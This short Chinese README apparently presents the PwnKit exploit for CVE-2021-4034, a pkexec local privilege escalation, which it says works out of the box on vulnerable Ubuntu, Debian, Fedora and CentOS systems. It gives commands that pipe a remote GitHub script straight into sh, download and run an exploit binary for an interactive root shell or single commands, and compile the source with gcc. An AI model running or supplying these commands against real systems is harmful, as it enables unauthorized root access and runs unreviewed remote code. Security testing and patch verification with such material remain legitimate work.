针对CVE-2021-4034的自包含利用程序 - Pkexec本地权限提升
在基于Ubuntu、Debian、Fedora和CentOS的易受攻击Linux发行版上应可开箱即用。
sh -c "$(curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh)"
curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit
chmod +x ./PwnKit
./PwnKit # 交互式shell
./PwnKit 'id' # 单条命令
在已修补版本上运行利用程序将产生以下输出。
gcc -shared PwnKit.c -o PwnKit -Wl,-e,entry -fPIC